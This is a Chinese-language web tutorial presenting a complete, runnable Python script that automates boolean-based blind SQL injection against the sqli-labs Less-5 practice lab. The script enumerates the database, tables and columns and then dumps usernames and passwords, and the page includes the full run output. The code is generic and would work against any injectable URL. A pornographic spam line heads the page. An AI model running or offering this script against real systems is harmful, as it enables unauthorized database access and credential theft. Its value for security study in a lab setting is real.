亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

python實(shí)現(xiàn)布爾型盲注的示例代碼

 更新時(shí)間:2021年04月26日 08:37:36   作者:仙女象  
這篇文章主要介紹了python實(shí)現(xiàn)sql布爾盲注的示例代碼,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧

好久沒(méi)寫(xiě)python了,就想著寫(xiě)個(gè)簡(jiǎn)單的練練手,寫(xiě)個(gè)布爾型盲注自動(dòng)化腳本,我覺(jué)得這個(gè)功能寫(xiě)的非常全了,這里是參考sqli-labs里面的盲注漏洞進(jìn)行的腳本編寫(xiě)。

腳本運(yùn)行時(shí)間:6分半左右

bool_sqlblind.py
# -*- coding:utf-8 -*-
# Author: mochu7
import requests

def ascii_str():#生成庫(kù)名表名字符所在的字符列表字典
 str_list=[]
 for i in range(33,127):#所有可顯示字符
  str_list.append(chr(i))
 #print('可顯示字符:%s'%str_list)
 return str_list#返回字符列表

def db_length(url,str):
 print("[-]開(kāi)始測(cè)試數(shù)據(jù)庫(kù)名長(zhǎng)度.......")
 num=1
 while True:
  db_payload=url+"' and (length(database())=%d)--+"%num
  r=requests.get(db_payload)
  if str in r.text:
   db_length=num
   print("[+]數(shù)據(jù)庫(kù)長(zhǎng)度:%d\n"%db_length)
   db_name(db_length)#進(jìn)行下一步,測(cè)試庫(kù)名
   break
  else:
   num += 1

def db_name(db_length):
 print("[-]開(kāi)始測(cè)試數(shù)據(jù)庫(kù)名.......")
 db_name=''
 str_list=ascii_str()
 for i in range(1,db_length+1):
  for j in str_list:
   db_payload=url+"' and (ord(mid(database(),%d,1))='%s')--+"%(i,ord(j))
   r=requests.get(db_payload)
   if str in r.text:
    db_name+=j
    break
 print("[+]數(shù)據(jù)庫(kù)名:%s\n"%db_name)
 tb_piece(db_name)#進(jìn)行下一步,測(cè)試security數(shù)據(jù)庫(kù)有幾張表
 return db_name
 
def tb_piece(db_name):
 print("開(kāi)始測(cè)試%s數(shù)據(jù)庫(kù)有幾張表........"%db_name)
 for i in range(100):#猜解庫(kù)中有多少?gòu)埍恚侠矸秶纯?
  tb_payload=url+"' and %d=(select count(table_name) from information_schema.tables where table_schema='%s')--+"%(i,db_name)
  r=requests.get(tb_payload)
  if str in r.text:
   tb_piece=i
   break
 print("[+]%s庫(kù)一共有%d張表\n"%(db_name,tb_piece))
 tb_name(db_name,tb_piece)#進(jìn)行下一步,猜解表名


def tb_name(db_name,tb_piece):
 print("[-]開(kāi)始猜解表名.......")
 table_list=[]
 for i in range(tb_piece):
  str_list=ascii_str()
  tb_length=0
  tb_name=''
  for j in range(1,20):#表名長(zhǎng)度,合理范圍即可
   tb_payload=url+"' and (select length(table_name) from information_schema.tables where table_schema=database() limit %d,1)=%d--+"%(i,j)
   r=requests.get(tb_payload)
   if str in r.text:
    tb_length=j
    print("第%d張表名長(zhǎng)度:%s"%(i+1,tb_length))
    for k in range(1,tb_length+1):#根據(jù)表名長(zhǎng)度進(jìn)行截取對(duì)比
     for l in str_list:
      tb_payload=url+"' and (select ord(mid((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)))=%d--+"%(i,k,ord(l))
      r=requests.get(tb_payload)
      if str in r.text:
       tb_name+=l
    print("[+]:%s"%tb_name)
    table_list.append(tb_name)
    break
 print("\n[+]%s庫(kù)下的%s張表:%s\n"%(db_name,tb_piece,table_list))
 column_num(table_list,db_name)#進(jìn)行下一步,猜解每張表的字段數(shù)

def column_num(table_list,db_name):
 print("[-]開(kāi)始猜解每張表的字段數(shù):.......")
 column_num_list=[]
 for i in table_list:
  for j in range(30):#每張表的字段數(shù)量,合理范圍即可
   column_payload=url+"' and %d=(select count(column_name) from information_schema.columns where table_name='%s')--+"%(j,i)
   r=requests.get(column_payload)
   if str in r.text:
    column_num=j
    column_num_list.append(column_num)#把所有表的字段,依次放入這個(gè)列表當(dāng)中
    print("[+]%s表\t%s個(gè)字段"%(i,column_num))
    break
 print("\n[+]表對(duì)應(yīng)的字段數(shù):%s\n"%column_num_list)
 column_name(table_list,column_num_list,db_name)#進(jìn)行下一步,猜解每張表的字段名

def column_name(table_list,column_num_list,db_name):
 print("[-]開(kāi)始猜解每張表的字段名.......")
 column_length=[]
 str_list=ascii_str()
 column_name_list=[]
 for t in range(len(table_list)):#t在這里代表每張表的列表索引位置
  print("\n[+]%s表的字段:"%table_list[t])
  for i in range(column_num_list[t]):#i表示每張表的字段數(shù)量
   column_name=''
   for j in range(1,21):#j表示每個(gè)字段的長(zhǎng)度
    column_name_length=url+"' and %d=(select length(column_name) from information_schema.columns where table_name='%s' limit %d,1)--+"%(j-1,table_list[t],i)
    r=requests.get(column_name_length)
    if str in r.text:
     column_length.append(j)
     break
    for k in str_list:#k表示我們猜解的字符字典
     column_payload=url+"' and ord(mid((select column_name from information_schema.columns where table_name='%s' limit %d,1),%d,1))=%d--+"%(table_list[t],i,j,ord(k))
     r=requests.get(column_payload)
     if str in r.text:
      column_name+=k
   print('[+]:%s'%column_name)
   column_name_list.append(column_name)
 #print(column_name_list)#輸出所有表中的字段名到一個(gè)列表中
 dump_data(table_list,column_name_list,db_name)#進(jìn)行最后一步,輸出指定字段的數(shù)據(jù)

def dump_data(table_list,column_name_list,db_name):
 print("\n[-]對(duì)%s表的%s字段進(jìn)行爆破.......\n"%(table_list[3],column_name_list[9:12]))
 str_list=ascii_str()
 for i in column_name_list[9:12]:#id,username,password字段
  for j in range(101):#j表示有多少條數(shù)據(jù),合理范圍即可
   data_num_payload=url+"' and (select count(%s) from %s.%s)=%d--+"%(i,db_name,table_list[3],j)
   r=requests.get(data_num_payload)
   if str in r.text:
    data_num=j
    break
  print("\n[+]%s表中的%s字段有以下%s條數(shù)據(jù):"%(table_list[3],i,data_num))
  for k in range(data_num):
   data_len=0
   dump_data=''
   for l in range(1,21):#l表示每條數(shù)據(jù)的長(zhǎng)度,合理范圍即可
    data_len_payload=url+"' and ascii(substr((select %s from %s.%s limit %d,1),%d,1))--+"%(i,db_name,table_list[3],k,l)
    r=requests.get(data_len_payload)
    if str not in r.text:
     data_len=l-1
     for x in range(1,data_len+1):#x表示每條數(shù)據(jù)的實(shí)際范圍,作為mid截取的范圍
      for y in str_list:
       data_payload=url+"' and ord(mid((select %s from %s.%s limit %d,1),%d,1))=%d--+"%(i,db_name,table_list[3],k,x,ord(y))
       r=requests.get(data_payload)
       if str in r.text:
        dump_data+=y
        break
     break
   print('[+]%s'%dump_data)#輸出每條數(shù)據(jù)



if __name__ == '__main__':
 url="http://127.0.0.1/sqli-labs/Less-5/?id=1"#目標(biāo)url
 str="You are in"#布爾型盲注的true&false的判斷因素
 db_length(url,str)#程序入口

運(yùn)行結(jié)果

PS C:\Users\Administrator\Desktop> python3 .\bool_sqlblind.py                                                                                                                                                                                [-]開(kāi)始測(cè)試數(shù)據(jù)庫(kù)名長(zhǎng)度.......
[+]數(shù)據(jù)庫(kù)長(zhǎng)度:8

[-]開(kāi)始測(cè)試數(shù)據(jù)庫(kù)名.......
[+]數(shù)據(jù)庫(kù)名:security

開(kāi)始測(cè)試security數(shù)據(jù)庫(kù)有幾張表........
[+]security庫(kù)一共有4張表

[-]開(kāi)始猜解表名.......
第1張表名長(zhǎng)度:6
[+]:emails
第2張表名長(zhǎng)度:8
[+]:referers
第3張表名長(zhǎng)度:7
[+]:uagents
第4張表名長(zhǎng)度:5
[+]:users

[+]security庫(kù)下的4張表:['emails', 'referers', 'uagents', 'users']

[-]開(kāi)始猜解每張表的字段數(shù):.......
[+]emails表     2個(gè)字段
[+]referers表   3個(gè)字段
[+]uagents表    4個(gè)字段
[+]users表      7個(gè)字段

[+]表對(duì)應(yīng)的字段數(shù):[2, 3, 4, 7]

[-]開(kāi)始猜解每張表的字段名.......

[+]emails表的字段:
[+]:id
[+]:email_id

[+]referers表的字段:
[+]:id
[+]:referer
[+]:ip_address

[+]uagents表的字段:
[+]:id
[+]:uagent
[+]:ip_address
[+]:username

[+]users表的字段:
[+]:id
[+]:username
[+]:password
[+]:level
[+]:id
[+]:username
[+]:password

[-]對(duì)users表的['id', 'username', 'password']字段進(jìn)行爆破.......


[+]users表中的id字段有以下13條數(shù)據(jù):
[+]1
[+]2
[+]3
[+]4
[+]5
[+]6
[+]7
[+]8
[+]9
[+]10
[+]11
[+]12
[+]14

[+]users表中的username字段有以下13條數(shù)據(jù):
[+]Dumb
[+]Angelina
[+]Dummy
[+]secure
[+]stupid
[+]superman
[+]batman
[+]admin
[+]admin1
[+]admin2
[+]admin3
[+]dhakkan
[+]admin4

[+]users表中的password字段有以下13條數(shù)據(jù):
[+]Dumb
[+]I-kill-you
[+]p@ssword
[+]crappy
[+]stupidity
[+]genious
[+]mob!le
[+]admin
[+]admin1
[+]admin2
[+]admin3
[+]dumbo
[+]admin4
PS C:\Users\Administrator\Desktop> 

到此這篇關(guān)于python實(shí)現(xiàn)布爾型盲注的示例代碼的文章就介紹到這了,更多相關(guān)python布爾盲注內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • Python面向?qū)ο笾蓄?lèi)(class)的簡(jiǎn)單理解與用法分析

    Python面向?qū)ο笾蓄?lèi)(class)的簡(jiǎn)單理解與用法分析

    這篇文章主要介紹了Python面向?qū)ο笾蓄?lèi)(class)的簡(jiǎn)單理解與用法,結(jié)合實(shí)例形式分析了Python面向?qū)ο蟪绦蛟O(shè)計(jì)中類(lèi)(class)的基本概念、原理、定義與使用方法,需要的朋友可以參考下
    2020-02-02
  • 使用python進(jìn)行文件處理的庫(kù)存管理

    使用python進(jìn)行文件處理的庫(kù)存管理

    庫(kù)存管理是任何處理實(shí)物商品的企業(yè)的一個(gè)重要方面,Python?提供了各種庫(kù)來(lái)讀取和寫(xiě)入文件,使其成為管理庫(kù)存的絕佳選擇,它允許我們使用?Python?等編程語(yǔ)言來(lái)操作計(jì)算機(jī)文件系統(tǒng)上的文件,在本文中,我們將探討如何使用文件處理在?Tkinter?中實(shí)現(xiàn)庫(kù)存管理系統(tǒng)
    2023-09-09
  • Python基于回溯法子集樹(shù)模板解決取物搭配問(wèn)題實(shí)例

    Python基于回溯法子集樹(shù)模板解決取物搭配問(wèn)題實(shí)例

    這篇文章主要介紹了Python基于回溯法子集樹(shù)模板解決取物搭配問(wèn)題,簡(jiǎn)單描述了搭配問(wèn)題并結(jié)合實(shí)例形式分析了Python使用回溯法子集樹(shù)模板解決取物搭配問(wèn)題的具體步驟與相關(guān)操作技巧,需要的朋友可以參考下
    2017-09-09
  • Python的Flask框架路由實(shí)現(xiàn)詳解

    Python的Flask框架路由實(shí)現(xiàn)詳解

    這篇文章主要介紹了Python的Flask框架路由實(shí)現(xiàn)詳解,在啟動(dòng)程序時(shí),python解釋器會(huì)從上到下對(duì)代碼進(jìn)行解釋?zhuān)?dāng)遇到裝飾器時(shí),會(huì)執(zhí)行,并把函數(shù)對(duì)應(yīng)的路由以字典的形式進(jìn)行存儲(chǔ),當(dāng)請(qǐng)求到來(lái)時(shí),即可根據(jù)路由查找對(duì)應(yīng)要執(zhí)行的函數(shù)方法,需要的朋友可以參考下
    2023-08-08
  • python傳參時(shí)一個(gè)星號(hào)和兩個(gè)星號(hào)的區(qū)別小結(jié)

    python傳參時(shí)一個(gè)星號(hào)和兩個(gè)星號(hào)的區(qū)別小結(jié)

    在Python中,一個(gè)星號(hào)(*)和兩個(gè)星號(hào)(**)用于函數(shù)定義中的參數(shù)傳遞,本文主要介紹了python傳參時(shí)一個(gè)星號(hào)和兩個(gè)星號(hào)的區(qū)別小結(jié),具有一定的參考價(jià)值,感興趣的可以了解一下
    2024-02-02
  • Python四大金剛之元組詳解

    Python四大金剛之元組詳解

    這篇文章主要介紹了Python的元組,小編覺(jué)得這篇文章寫(xiě)的還不錯(cuò),需要的朋友可以參考下,希望能夠給你帶來(lái)幫助
    2021-10-10
  • Python Django中間件使用原理及流程分析

    Python Django中間件使用原理及流程分析

    這篇文章主要介紹了Python Django中間件使用原理及流程分析,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下
    2020-06-06
  • Window 64位下python3.6.2環(huán)境搭建圖文教程

    Window 64位下python3.6.2環(huán)境搭建圖文教程

    這篇文章主要為大家詳細(xì)介紹了Window 64位下python3.6.2環(huán)境搭建圖文教程,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下
    2018-09-09
  • 詳細(xì)講解Python中的文件I/O操作

    詳細(xì)講解Python中的文件I/O操作

    這篇文章主要介紹了Python中的文件I/O操作,是Python入門(mén)中的基礎(chǔ)知識(shí),需要的朋友可以參考下
    2015-05-05
  • 使用 Python 處理3萬(wàn)多條數(shù)據(jù)只要幾秒鐘

    使用 Python 處理3萬(wàn)多條數(shù)據(jù)只要幾秒鐘

    在工作中經(jīng)常遇到大量的數(shù)據(jù)需要整合、去重、按照特定格式導(dǎo)出等情況。這篇文章主要介紹了使用 Python 處理3萬(wàn)多條數(shù)據(jù)只要幾秒鐘的相關(guān)知識(shí),需要的朋友可以參考下
    2020-01-01

最新評(píng)論